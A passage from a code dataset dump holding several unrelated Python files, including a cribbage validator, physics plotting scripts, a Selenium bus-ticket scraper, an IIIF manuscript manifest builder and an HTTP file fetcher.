\"S\", \"H\"]\n\n clean_deal = deal.replace(\", \", \",\").replace(\" \", \",\").replace(\",,\", \",\")\n print(f'Your entries: {clean_deal.split(\",\")}')\n print(clean_deal)\n clean_deal = [item for item in clean_deal.split(\",\") if item != \"\"]\n print(clean_deal)\n is_valid = True\n\n for item in clean_deal:\n if \"-\" not in item:\n print(f\"Invalid Format: {item}\")\n is_valid = False\n else:\n if item.split(\"-\")[0] not in acceptable_values:\n print(f\"Invalid Format: {item} (Unknown card value)\")\n is_valid = False\n elif item.split(\"-\")[-1] not in acceptable_suits:\n print(f\"Invalid Format: {item} (Unknown suit)\")\n is_valid = False\n\n return is_valid\n\n\ndef main(arglist):\n\n deal = \",\".join(arglist)\n\n if check_input(deal) != True:\n print(\"Exiting\")\n sys.exit()\n\n player_hand = hand.Hand(deal)\n\n calculate.score_hand(player_hand)\n\n\nif __name__ == \"__main__\":\n import sys\n\n main(sys.argv[1:])\n","sub_path":"cribbage-counsel.py","file_name":"cribbage-counsel.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"460166339","text":"import unittest\nfrom adder import Adder\n\n\nclass TestBob(unittest.TestCase):\n\n def test_create_adder(self):\n adder = Adder()\n\n def test_increment(self):\n adder = Adder()\n self.assertEqual(adder.increment(3), 4)\n\n \nif __name__=='__main__':\n unittest.main(verbosity=3)\n","sub_path":"app/test_adder.py","file_name":"test_adder.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"454497407","text":"\"\"\"\nThis script will rebuild the database from scratch. It should run only once during production\nand many times during development.\n\"\"\"\n\nimport logging\nfrom lib.sqlitestore import DataStore\nfrom lib import my_env\n\n\ndef main():\n cfg = my_env.init_env(\"convert_protege\", __file__)\n ds = DataStore(cfg)\n ds.remove_tables()\n ds.create_tables()\n logging.info('End Application')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Python/build_database.py","file_name":"build_database.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"145909597","text":"import numpy as np\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('pdf')\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\n\n# histograms\n'''\nfilenames = {\n #\"WW\": \"BGHToWW_gru_Yhat.npy\",\n #\"ZZ\": \"BGHToZZ_gru_Yhat.npy\"\n \"WW\": \"WW_N2.npy\",\n \"ZZ\": \"ZZ_N2.npy\"\n #\"Dense\": \"DensetW.npy\",\n #\"GRU\": \"GRUtW.npy\"\n #\"WW\": \"ww_j_pt.npy\",\n #\"ZZ\": \"zz_j_pt.npy\"\n #\"Jeff\": \"jeff_weights_bkg.npy\",\n #\"DAZSLE\": \"dazsle_weights_bkg.npy\"\n #\"WW\": \"ww_j_pt.npy\",\n #\"ZZ Unweighted\": \"zz_j_pt.npy\",\n #\"ZZ Jeff\": \"zz_j_pt.npy\",\n #\"ZZ DAZSLE\": \"zz_j_pt.npy\"\n}\n'''\n\ninf_dir = \"inference/\"\n\nsamples = [\"BGHToWW\", \"BGHToZZ\"]\nnevts = 1200000\n\n# files to use for N2, GRU, etc\nN2 = {\n \"WW\": \"BGHToWW_ss.npy\",\n \"ZZ\": \"BGHToZZ_ss.npy\",\n \"QCD\": \"QCD_ss.npy\"\n}\n\nY = {\n \"WW\": \"BGHToWW_Y_all.npy\",\n \"ZZ\": \"BGHToZZ_Y_all.npy\"\n}\n\nGRU = {\n \"WW\": \"BGHToWW_gru_Yhat_all.npy\",\n \"ZZ\": \"BGHToZZ_gru_Yhat_all.npy\",\n \"QCD\": \"QCD_gru_Yhat_all.npy\"\n}\n\nDNN = {\n \"WW\": \"BGHToWW_dnn_Yhat_all.npy\",\n \"ZZ\": \"BGHToZZ_dnn_Yhat_all.npy\",\n \"QCD\": \"QCD_dnn_Yhat_all.npy\"\n}\n\nj_pt = {\n \"WW\": \"WW_j_pt.npy\",\n \"ZZ\": \"ZZ_j_pt.npy\",\n \"QCD\": \"QCD_j_pt.npy\"\n}\n\nj_msd = {\n \"WW\": \"WW_j_msd.npy\",\n \"ZZ\": \"ZZ_j_msd.npy\",\n \"QCD\": \"QCD_j_msd.npy\"\n}\n\nweights = {\n \"WW\": np.load(\"dazsle_weights_sig.npy\"),\n \"ZZ\": np.load(\"dazsle_weights_bkg.npy\")\n} \n\n\n\nout = PdfPages(\"out.pdf\")\n\ndef make_arrays(filenames):\n arrays = {}\n basedir = \"\"\n for k, v in filenames.iteritems():\n if 'Y' in v: basedir = inf_dir\n try:\n arrays[k] = np.load(basedir+v)[:, :1]\n except:\n arrays[k] = np.load(basedir+v)\n #print type(arrays[k]), arrays[k]\n\n return arrays\n\ndef make_hist(filenames, weight=False, title=\"\", xlabel=\"\", min_=None, max_=None):\n plt.figure(figsize=(6, 6), dpi=100)\n plt.title(title)\n plt.xlabel(xlabel)\n\n arrays = make_arrays(filenames)\n if min_ is None: min_ = min([min(v) for v in arrays.itervalues()])\n if max_ is None: max_ = max([max(v) for v in arrays.itervalues()])\n bins = np.linspace(min_, max_, 100)\n\n for k, v in arrays.iteritems():\n #print k\n #print \"v shape min and max: \", v.shape, '\\n', v.min(), '\\n', v.max()\n if weight:\n w = weights[k]\n #print \"using weights: \", w, len(w)\n n = min(len(w), v.shape[0])\n v = v[:n]\n w = w[:n]\n plt.hist(v, bins=bins, density=True, label=k, histtype='step', weights=w)\n else:\n plt.hist(v[:nevts], bins=bins, density=True, label=k, histtype='step')\n\n \n ''' # plot weighted vs unweighted\n for k, v in arrays.iteritems():\n plt.hist(v, bins=bins, density=True, label='weighted', histtype='step', weights=weights[k])\n plt.hist(v, bins=bins, density=True, label='unweighted', histtype='step')\n '''\n \n plt.legend(loc='upper right')\n \n PdfPages.savefig(out, dpi=100)\n return\n\ndef make_hist_from_arrays(arrays, weight=False, title=\"\", xlabel=\"\", min_=None, max_=None):\n plt.figure(figsize=(6, 6), dpi=100)\n plt.title(title)\n plt.xlabel(xlabel)\n\n if min_ is None: min_ = min([min(v) for v in arrays.itervalues()])\n if max_ is None: max_ = max([max(v) for v in arrays.itervalues()])\n bins = np.linspace(min_, max_, 100)\n\n for k, v in arrays.iteritems():\n #print k\n #print \"v shape min and max: \", v.shape, '\\n', v.min(), '\\n', v.max()\n if weight:\n w = weights[k][:v.shape[0]]\n #print \"using weights: \", w, len(w)\n plt.hist(v, bins=bins, density=True, label=\"Response > {}\".format(k), histtype='step', weights=w)\n else:\n plt.hist(v, bins=bins, density=True, label=\"Response > {}\".format(k), histtype='step')\n \n plt.legend(loc='upper right')\n \n PdfPages.savefig(out, dpi=100)\n return\n\n# roc curve\nfrom sklearn.metrics import roc_curve\n\nys = [np.load(inf_dir+name+\"_Y_all.npy\") for name in samples]\ny = np.concatenate(ys)\ndnn_yhat = np.concatenate([v for v in make_arrays(DNN).itervalues()])\ngru_yhat = np.concatenate([v for v in make_arrays(GRU).itervalues()])\n\ndef make_roc():\n\n plt.figure(figsize=(6, 6), dpi=100)\n plt.title(\"ROC Curve\")\n plt.xlabel(\"False Positive Rate\")\n plt.ylabel(\"True Positive Rate\")\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n\n fpr_dnn, tpr_dnn, _ = roc_curve(y.argmax(axis=1), dnn_yhat[:, :1])\n fpr_gru, tpr_gru, _ = roc_curve(y.argmax(axis=1), gru_yhat[:, :1])\n\n plt.plot([0,1], [0,1], 'k--')\n plt.plot(fpr_dnn, tpr_dnn, label='DNN')\n plt.plot(fpr_gru, tpr_gru, label='GRU')\n\n plt.legend(loc='best')\n PdfPages.savefig(out, dpi=100)\n \n return\n\ndef make_msd_arrays(yhats, k, min_=0, max_=.8, n=5):\n try:\n yhat = yhats[k][:,0]\n except:\n yhat = yhats[k]\n msd = make_arrays(j_msd)[k]\n msds = {}\n for i in np.linspace(min_, max_, n):\n mask = np.where(yhat > i)[0]\n msds[i] = msd[mask]\n return msds\n\n#make_hist(N2, weight=True, title=\"N2\", xlabel=\"N2\")\n#make_hist(DNN, weight=True, title=\"DNN\", xlabel=\"Response\")\n#make_hist(GRU, weight=True, title=\"GRU\", xlabel=\"Response\")\n#make_roc()\n\ndef make_report():\n make_hist(j_pt, weight=False, title=\"j_pt (unweighted)\", xlabel=\"j_pt\")\n make_hist(j_pt, weight=True, title=\"j_pt (weighted)\", xlabel=\"j_pt\")\n make_hist(j_msd, weight=False, title=\"j_msd (unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n make_hist(j_msd, weight=True, title=\"j_msd (weighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n\n WW_DNN_j_msds = make_msd_arrays(make_arrays(DNN), \"WW\")\n WW_GRU_j_msds = make_msd_arrays(make_arrays(GRU), \"WW\")\n ZZ_DNN_j_msds = make_msd_arrays(make_arrays(DNN), \"ZZ\")\n ZZ_GRU_j_msds = make_msd_arrays(make_arrays(GRU), \"ZZ\")\n\n make_hist_from_arrays(WW_DNN_j_msds, weight=False, title=\"WW j_msd filtered by DNN Response (Unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n make_hist_from_arrays(WW_GRU_j_msds, weight=False, title=\"WW j_msd filtered by GRU Response (Unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n make_hist_from_arrays(ZZ_DNN_j_msds, weight=False, title=\"ZZ j_msd filtered by DNN Response (Unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n make_hist_from_arrays(ZZ_GRU_j_msds, weight=False, title=\"ZZ j_msd filtered by GRU Response (Unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n\n\ndef make_QCD_report():\n make_hist(j_pt, weight=False, title=\"j_pt (unweighted)\", xlabel=\"j_pt\")\n make_hist(j_msd, weight=False, title=\"j_msd (unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n\n QCD_DNN_j_msds = make_msd_arrays(make_arrays(DNN), \"QCD\", min_=0.4, max_=0.8, n=5)\n QCD_GRU_j_msds = make_msd_arrays(make_arrays(GRU), \"QCD\", min_=0.4, max_=0.8, n=5)\n\n make_hist_from_arrays(QCD_DNN_j_msds, weight=False, title=\"QCD j_msd filtered by DNN Response (Unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n make_hist_from_arrays(QCD_GRU_j_msds, weight=False, title=\"QCD j_msd filtered by GRU Response (Unweighted)\", xlabel=\"j_msd\", min_=0, max_=200)\n\n \n#make_report()\nmake_QCD_report()\n\nout.close()\n\n\n\n\n\n\n\n'''\ndazsle_weights = np.load(basedir+\"dazsle_weights_ordered.npy\")\ni = len(dazsle_weights) - len(arrays[\"ZZ Unweighted\"])\n\nweights = {\n \"WW\": np.ones(len(arrays[\"WW\"])),\n \"ZZ Unweighted\": np.ones(len(arrays[\"ZZ Unweighted\"])),\n \"ZZ Jeff\": np.load(basedir+\"jeff_weights_bkg.npy\"),\n \"ZZ DAZSLE\": dazsle_weights[i:]\n}'''\n","sub_path":"train/dazsle-tagger/mass_sculpt_plots.py","file_name":"mass_sculpt_plots.py","file_ext":"py","file_size_in_byte":7483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"193903942","text":"import zipfile\nimport glob\nimport os.path\n\ndef zipdir(fn, d = \".\"):\n (upper_dir, base_dir) = os.path.split(d)\n os.chdir(upper_dir) \n files = glob.glob(base_dir+\"/*\") \n zippable_files = []\n for f in files:\n if (os.path.isfile(f)): \n zippable_files.append(f) \n zf = zipfile.ZipFile(fn, \"w\", zipfile.ZIP_DEFLATED)\n for fn_to_archive in zippable_files:\n zf.write(fn_to_archive)\n zf.close()\n","sub_path":"Exercises/Archives_Homework/src/zipdir.py","file_name":"zipdir.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"546141199","text":"\n'''Import books.csv into books table.'''\nimport csv\nimport os\nfrom sqlalchemy import create_engine, text\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\n# Set up database connection\nengine = create_engine(os.getenv(\"DATABASE_URL\"), \n connect_args={\"application_name\":\"application.py\"}, \n echo=True)\ndb = scoped_session(sessionmaker(bind=engine))\n\n\ndef main():\n with open(\"books.csv\", \"r\") as books:\n reader = csv.DictReader(books, fieldnames=['isbn', 'title', 'author', 'year'])\n # Skip header\n next(reader)\n # Insert CSV data into table\n statement = text(\"INSERT INTO books(isbn, title, author, year) VALUES(:isbn, :title, :author, :year)\")\n for row in reader:\n row['year'] = int(row['year'])\n db.execute(statement, row)\n db.commit()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"24771513","text":"import pytorch_lightning as pl\nfrom pytorch_lightning import callbacks\nfrom pytorch_lightning.loggers import TensorBoardLogger\nfrom pytorch_lightning.callbacks.model_checkpoint import ModelCheckpoint\n\nfrom utils.load_cfg import load_cfg\nfrom utils.prepare_seed import prepare_seed\n\nimport click\n\nfrom agents import *\n\nfrom loaders import *\n\n@click.command()\n@click.option('--config', '-cfg', required=True)\ndef cli(config):\n cfg = load_cfg(config)\n prepare_seed(cfg.exp_cfg.seed)\n agent = eval(cfg.agent)(cfg.agent_cfg)\n loaders = eval(cfg.data_loader.name)(**cfg.data_loader.kwargs)\n checkpoint_callback = ModelCheckpoint(\n dirpath=cfg.checkpoint_dir,\n **cfg.model_checkpoint\n )\n logger = TensorBoardLogger(\n name=cfg.exp_name,\n **cfg.logger\n )\n\n trainer = pl.Trainer(\n callbacks=[checkpoint_callback],\n default_root_dir=cfg.out_dir,\n logger=logger,\n **cfg.trainer\n )\n\n trainer.fit(\n model=agent,\n train_dataloader=loaders.train_loader,\n val_dataloaders=loaders.test_loader\n )\n\nif __name__ == '__main__':\n # cli(['-cfg', 'configs/iwslt15_transformer.yaml'])\n # cli(['-cfg', 'configs/fashion_mnist_mlp.yaml'])\n cli()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"165677772","text":"from queue import Empty\nfrom selenium import webdriver\nfrom datetime import date\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport pyttsx3\nfrom Identify_query import Recognize_voice\n\n\ndef bus_auto(x_var):\n engine = pyttsx3.init()\n import time\n driver = webdriver.Chrome(\"C:\\Final Year Project\\Chrome Driver\\chromedriver.exe\")\n driver.maximize_window()\n url = \"https://www.redbus.in/\"\n driver.get(url)\n time.sleep(1)\n # retrieve data from user data file\n driver.find_element_by_id('src').send_keys(x_var[0])\n time.sleep(3)\n driver.find_element_by_id('dest').send_keys(x_var[1])\n time.sleep(3)\n driver.find_element_by_id('onward_cal').send_keys('0')\n\n def month_to_number(string):\n m = {\n 'jan': 1,\n 'feb': 2,\n 'mar': 3,\n 'apr': 4,\n 'may': 5,\n 'jun': 6,\n 'jul': 7,\n 'aug': 8,\n 'sep': 9,\n 'oct': 10,\n 'nov': 11,\n 'dec': 12\n }\n s = string.strip()[:3].lower()\n\n try:\n out = m[s]\n return out\n except:\n raise ValueError('Not a month')\n\n x = date.today()\n u_mm = x_var[4]\n mm = x.strftime(\"%B\")\n _u_mm = month_to_number(u_mm)\n _mm = month_to_number(mm)\n dd = x_var[3]\n flag = _u_mm - _mm\n r_dd = x_var[7]\n r_mm = x_var[8]\n r_yyyy = x_var[9]\n\n while flag > 0:\n try:\n d = driver.find_element_by_xpath(\n \"//div[@id='rb-calendar_onward_cal']/table/tbody/tr/td[@class='next']\").click()\n flag -= 1\n except:\n raise Empty(\"Please provide valid month\")\n\n driver.find_element_by_xpath(\"//div[@id='rb-calendar_onward_cal']/table/tbody/tr/td[text()=\" + dd + \"]\").click()\n driver.find_element_by_xpath(\"//button[@id='search_btn']\").click()\n time.sleep(10)\n p = driver.find_element_by_xpath(\"//div[text()='View Buses']\")\n if p:\n p.click()\n else:\n p = 0\n\n content = driver.page_source\n soup = BeautifulSoup(content, \"html.parser\")\n info = soup.find_all('div', attrs={'class': 'clearfix row-one'})\n print(len(info))\n name_ = []\n tpe_ = []\n price_ = []\n time_ = []\n for a in info:\n name = a.find('div', attrs={'class': 'travels lh-24 f-bold d-color'})\n name_.append(name.text)\n tpe = a.find('div', attrs={'class': 'bus-type f-12 m-top-16 l-color'})\n tpe_.append(tpe.text)\n price = a.find('div', attrs={'class': 'seat-fare'})\n price_with_text = price.text\n price_without_text = res = [int(i) for i in price_with_text.split() if i.isdigit()]\n price_.append(price_without_text[0])\n time = a.find('div', attrs={'class': 'dp-time f-19 d-color f-bold'})\n time_.append(time.text)\n\n df = pd.DataFrame({'Travels Name': name_, 'Bus Type': tpe_, 'Price': price_, 'Time': time_})\n df.to_csv('products.csv', index=False, encoding='utf-8')\n\n driver.close()\n\n csv_data = pd.read_csv('products.csv')\n all_ele = []\n for row in csv_data.index:\n all_ele.append(csv_data['Price'][row])\n\n all_ele_len = len(all_ele)\n average_price = sum(all_ele) / all_ele_len\n print(average_price)\n\n engine.say(\"Now tell me, Which type of Bus you like to book?\")\n engine.say(\"We have some types, and these are: R T C means Government buses, Shivshahi buses, Shivneri buses, \"\n \"Private buses, or you can book sleeper bus \")\n engine.runAndWait()\n b_type = Recognize_voice()\n engine.say(\"at what time you like to book\")\n engine.runAndWait()\n booking_time = Recognize_voice()\n bad_stm = ['at', 'on', 'in']\n for i in bad_stm:\n booking_time = booking_time.replace(i, '')\n\n # making data frame from csv file\n data = pd.read_csv(\"products.csv\", delimiter=',')\n\n # replacing blank spaces with '_'\n data.columns = [column.replace(\" \", \"_\") for column in data.columns]\n\n def closest(lst, K):\n return lst[min(range(len(lst)), key=lambda i: abs(lst[i] - K))]\n\n # time filter\n\n # find actual price from average price\n K = average_price\n actual_price_close_to_avg_price = closest(all_ele, K)\n print(actual_price_close_to_avg_price)\n\n if 'shivshahi bus' in b_type or 'shivshahi buses' in b_type or 'shivshahi' in b_type:\n # filtering with query method for Shivshahi buses\n # data.query('Bus_Type == \"SHIVSHAHI\"', inplace=True)\n\n ele_having_shivshahi = data[data.Bus_Type == 'SHIVSHAHI']\n minValue = ele_having_shivshahi['Price'].min()\n time_of_that_bus = ele_having_shivshahi.loc[ele_having_shivshahi['Price'] == minValue, 'Time'].iloc[0]\n print(ele_having_shivshahi)\n print(minValue)\n print(time_of_that_bus)\n engine.say(\"I found one bus for you at lowest price, at \" + str(minValue))\n engine.say(\"and Bus time is \" + str(time_of_that_bus))\n engine.runAndWait()\n bus_name_at_user_time = ele_having_shivshahi.loc[ele_having_shivshahi['Time'] == booking_time, 'Travels_Name'].iloc[0]\n print(bus_name_at_user_time)\n","sub_path":"bus_automate.py","file_name":"bus_automate.py","file_ext":"py","file_size_in_byte":5122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"498468183","text":"# -*- coding: utf-8 -*-\nfrom subprocess import check_output\nimport glob\nimport sys\nimport os \nfrom IIIFpres import iiifpapi3\nfrom itertools import cycle\n#folder = sys.argv[1]\nfolder = r\"/Users/univr/Pictures/41\"\nromconv = {1: 'I',\n 2: 'II',\n 3: 'III',\n 4: 'IV',\n 5: 'V',\n 6: 'VI',\n 7: 'VII',\n 8: 'VIII',\n 9: 'IX',\n 10: 'X',\n 11: 'XI',\n 12: 'XII',\n 13: 'XIII',\n 14: 'XIV',\n 15: 'XV',\n 16: 'XVI',\n 17: 'XVII',\n 18: 'XVIII',\n 19: 'XIX'}\n\ntsv_datasetpath = r\"list.tsv\"\nsegnatura = 41\ndef search(segnatura):\n with open(tsv_datasetpath,'r') as f:\n header = True \n for i in f:\n records = i.split(\"\\t\")\n if header:\n h = records\n header = False\n elif records[5] == str(segnatura):\n return dict(zip(h,records))\nrecord = search(segnatura)\nsegnatura = str(segnatura)\niiifpapi3.BASE_URL = \"http://lezioni.meneghetti.univr.it\" \nmanifest = iiifpapi3.Manifest()\nmanifest.set_id(extendbase_url=[\"manifests\" ,segnatura])\nsegn = \"%s (%s)\" %(record[\"numero_del_codice\"],record[\"numerazione_araba\"])\nmanifest.add_label(\"it\",\"Manoscritto: %s\" %segn)\n\nmanifest.add_metadata(label=\"rilegatura_moderna\",value=record[\"rilegatura_moderna\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Collocazione:\",value=record[\"Collocazione\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Segnatura espressa come numero arabo:\",value=record[\"roman_converted\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Segnatura:\",value=record[\"numero_del_codice\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Antica segnatura con numero arabo:\",value=record[\"numerazione_araba\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Titolo secondo don Spagnolo:\",value=record[\"titolo\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Materiale\",value=record[\"materiale\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Numero di fogli\",value=record[\"fogli\"],language_l=\"it\")\n\nif \"-\" in record[\"Spagnolo\"]:\n pagsp = \"pagine %s\" %record[\"Spagnolo\"]\nelse: \n pagsp = \"pagina %s\" %record[\"Spagnolo\"]\n\nmanifest.add_metadata(label=\"Riferimento al catalogo di don Spagnolo\",value=pagsp,language_l=\"it\")\nif record[\"datazione_f\"] != \"\":\n if int(record[\"datazione_f\"][:-2]) - 1 == int(record[\"datazione_i\"][:-2]):\n datazione = \"al %s secolo\" %romconv[int(record[\"datazione_f\"][:-2])]\n else:\n datazione = \"tra i secoli %s e %s\" %(romconv[int(record[\"datazione_f\"][:-2])],romconv[int(record[\"datazione_f\"][:-2])])\nmanifest.add_metadata(label=\"Databile\",value=datazione,language_l=\"it\",language_v=\"it\")\nmanifest.add_metadata(label=\"lingua\",value=record[\"lingua\"],language_l=\"it\")\nif record[\"altezza\"] != \"\" and record[\"ampiezza\"] != \"\":\n dim = \"%s x %s cm\" %(record[\"altezza\"],record[\"ampiezza\"])\n\nmanifest.add_metadata(label=\"Dimensioni\",value=dim,language_l=\"it\")\nmanifest.add_metadata(label=\"Rilegatura:\",value=record[\"rilegatura\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Tipo di rilegatura\",value=record[\"tipo_rilegatura\"],language_l=\"it\")\nmanifest.add_metadata(label=\"Materiale rilegatura\",value=record[\"materiale_rilegatura\"],language_l=\"it\")\n# more complex entry can be mapped directly to a dictionary and inserted using entry arguments\nmanifest.add_summary(f\"Il manoscritto {segn} è databile {datazione} secondo le informazioni riportate nell catalogo di don Spagnolo ({pagsp}). \",language=\"it\")\nmanifest.set_viewingDirection(\"left-to-right\")\nmanifest.add_behavior(\"paged\")\nmanifest.set_navDate(f\"{record['datazione_i']}-01-01T00:00:00Z\")\nmanifest.set_rights(\"http://creativecommons.org/licenses/by/4.0/\")\nmanifest.add_requiredStatement(label=\"Attribution\",value=\"Provided by University of Verona and Biblioteca Capitolare di Verona\",language_l=\"en\",language_v=\"en\")\nprov = manifest.add_provider()\nprov.add_label(\"it\",\"Università di Verona\")\nprov.set_id(\"https://www.univr.it/it/\")\nhomp = prov.add_homepage()\nhomp.set_id(\"https://sites.hss.univr.it/laboratori_integrati/laboratorio-lamedan/\")\nhomp.set_type(\"Text\")\nhomp.add_label(\"en\",\"Laboratorio integrati - LAboratorio di Studi MEdievale e DANteschi\")\nhomp.set_format(\"text/html\")\nlogo = prov.add_logo()\nlogo.set_id(\"https://cdn.univr.it/o/aol-theme/images/logo-univr-colori-80.png\")\nlogo.set_type(\"Image\")\nlogo.set_format(\"image/png\")\n\n\nimages = sorted([image for image in glob.glob(folder+\"/*.jp2\")])\npiatti_e_carte_di_guardia_ant = 4\nfogli = 259\npiatti_e_carte_di_guardia_post = 4\nplabels = ['dorso','piatto anteriore','risguardia anteriore',]\nsidesg1 = cycle(('recto','verso'))\nfor i in range(1,piatti_e_carte_di_guardia_ant+1):\n plabels.append(\"guardia anteriore %i %s\" %(i,next(sidesg1)))\n plabels.append(\"guardia anteriore %i %s\" %(i,next(sidesg1)))\n\nsidesf = cycle(('r','v'))\nfor i in range(1,fogli+1):\n plabels.append(\"%i%s\" %(i,next(sidesf)))\n plabels.append(\"%i%s\" %(i,next(sidesf)))\n\nsidesg2 = cycle(('r','v'))\nfor i in range(1,piatti_e_carte_di_guardia_post+1):\n plabels.append(\"guardia posteriore %i %s\" %(i,next(sidesg2)))\n plabels.append(\"guardia posteriore %i %s\" %(i,next(sidesg2)))\n\npost_elements = ['risguardia posteriore', 'piatto posteriore']\nfor i in post_elements:\n plabels.append(i)\n \nfor idx,d in enumerate(images):\n manloc = \"/manifests/%s\" %segnatura\n image = d\n canvas = manifest.add_canvas_to_items()\n if plabels[idx] in ['dorso','piatto anteriore']:\n canvas.add_behavior(\"paged\")\n canvas.set_id(extendbase_url=[\"manifests\",segnatura,\"canvas\",\"p%s\"%(idx+1)]) # in this case we use the base url\n out = check_output([\"exiftool\", image])\n Metadata = dict((e[:32].strip(),e[33:].strip()) for e in out.decode('utf8').split('\\n'))\n width = Metadata['Image Width']\n height = Metadata['Image Height']\n canvas.set_height(width)\n canvas.set_width(height)\n canvas.add_label(\"it\",plabels[idx])\n annopage = canvas.add_annotationpage_to_items()\n annopage.set_id(extendbase_url=[\"manifests\",segnatura,\"page\",\"p%s\"%(idx+1),\"1\"])\n annotation = annopage.add_annotation_to_items(target=canvas.id)\n annotation.set_id(extendbase_url=[\"manifests\",segnatura,\"annotation\",\"p%s-image\"%str(idx+1).zfill(4)])\n annotation.set_motivation(\"painting\")\n annotation.body.set_id(extendbase_url=[image,\"/full/max/0/default.jpg\"])\n annotation.body.set_type(\"Image\")\n annotation.body.set_format(\"image/jp2\")\n annotation.body.set_width(width)\n annotation.body.set_height(height)\n s = annotation.body.add_service()\n s.set_id(extendbase_url=[image])\n s.set_type(\"ImageService2\")\n s.set_profile(\"level2\")\n \n \nrng = manifest.add_range_to_structures()\nrng.set_id(extendbase_url=\"range/r0\")\nrng.add_label(\"en\",\"Table of Contents\")\nrng2 = iiifpapi3.Range()\nrng2.set_id(extendbase_url=\"range/r1\")\nrng2.add_label(\"en\",\"Introduction\")\nrng2.set_supplementary(\"https://example.org/iiif/book1/annocoll/introTexts\")\nrng2.add_canvas_to_items(\"https://example.org/iiif/book1/canvas/p1\")\nsr = iiifpapi3.SpecificResource()\nsr.set_source(\"https://example.org/iiif/book1/canvas/p2\")\nfs = iiifpapi3.FragmentSelector()\nfs.set_xywh(0,0,750,300)\nsr.set_selector(fs)\nrng2.add_item(sr)\nrng.add_item(rng2)\nannopage3 = iiifpapi3.AnnotationPage()\nannopage3.set_id(\"https://example.org/iiif/book1/page/manifest/1\")\nanno = iiifpapi3.Annotation(manifest.id)\nanno.set_id(\"https://example.org/iiif/book1/page/manifest/a1\")\nanno.set_motivation(\"commenting\")\nanno.body.set_language(\"en\")\nanno.body.set_value(\"I love this manifest!\")\nannopage3.add_item(anno)\nannopage3.set_id(\"https://example.org/iiif/book1/page/manifest/1\") \nmanifest.add_annotation(annopage3)\n\nmanifest.json_save(os.path.join(\"presentationapi\",\"manifests\",\"%s.json\" %segnatura))","sub_path":"examples/Example_Capitolare_server.py","file_name":"Example_Capitolare_server.py","file_ext":"py","file_size_in_byte":7642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"201738479","text":"\"\"\"\n借助http.client，从一台HTTP服务器上通过套接字抓取文件，文件名参数可以是一个完整的目录路径\n也可以通过末尾的？查询参数定制一个CGI脚本，触发一个远程程序，抓取得到的文件数据或远程程序输出可以保存\n到本地文件以便模拟FTP功能，或者使用str.find或者html.parser模块进行解析\n返回的是bytes字符串\n\"\"\"\n\nimport sys, http.client\nshowlines = 6\n\ntry:\n servername, filename = sys.argv[1:] #命令行参数\nexcept:\n servername, filename = \"learning-python.com\", '/index.html' #否则设置默认打开的网页\n\nprint(servername, filename)\nserver = http.client.HTTPConnection(servername) #连接到http站服务器\nserver.putrequest(\"GET\", filename) #发送请求和题头\nserver.putheader(\"Accept\", \"text/html\") #也可以用POST请求\nserver.endheaders() #CGI脚本文件名也可以\nreply = server.getresponse() #读取回复的题头和数据\nif reply.status != 200: #200表示成功，不等于200表示失败\n print(\"Error sending request\", reply.status, reply.reason)\nelse:\n data = reply.readlines() #接收到的数据的文件对象\n reply.close() \n for line in data[:showlines]: #显示前showlines行的数据\n print(line)","sub_path":"C13_http_getfile.py","file_name":"C13_http_getfile.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"402155920","text":"# -*- coding: utf-8 -*-\n'''\nThe behaviors to run the salt minion via ioflo\n'''\n\n# Import python libs\nimport os\nimport logging\nimport sys\nimport types\nimport traceback\nimport multiprocessing\nfrom collections import deque\n\n# Import salt libs\nimport salt.minion\nimport salt.payload\nimport salt.utils\nimport salt.utils.event\nimport salt.daemons.masterapi\nimport salt.utils.schedule\nfrom salt.exceptions import (\n CommandExecutionError, CommandNotFoundError, SaltInvocationError)\nfrom salt.transport.road.raet import yarding\nfrom salt.transport.road.raet import stacking\n\n# Import ioflo libs\nimport ioflo.base.deeding\n\n# Import Third Party Libs\nHAS_PSUTIL = False\ntry:\n import psutil\n HAS_PSUTIL = True\nexcept ImportError:\n pass\n\nHAS_RESOURCE = False\ntry:\n import resource\n HAS_RESOURCE = True\nexcept ImportError:\n 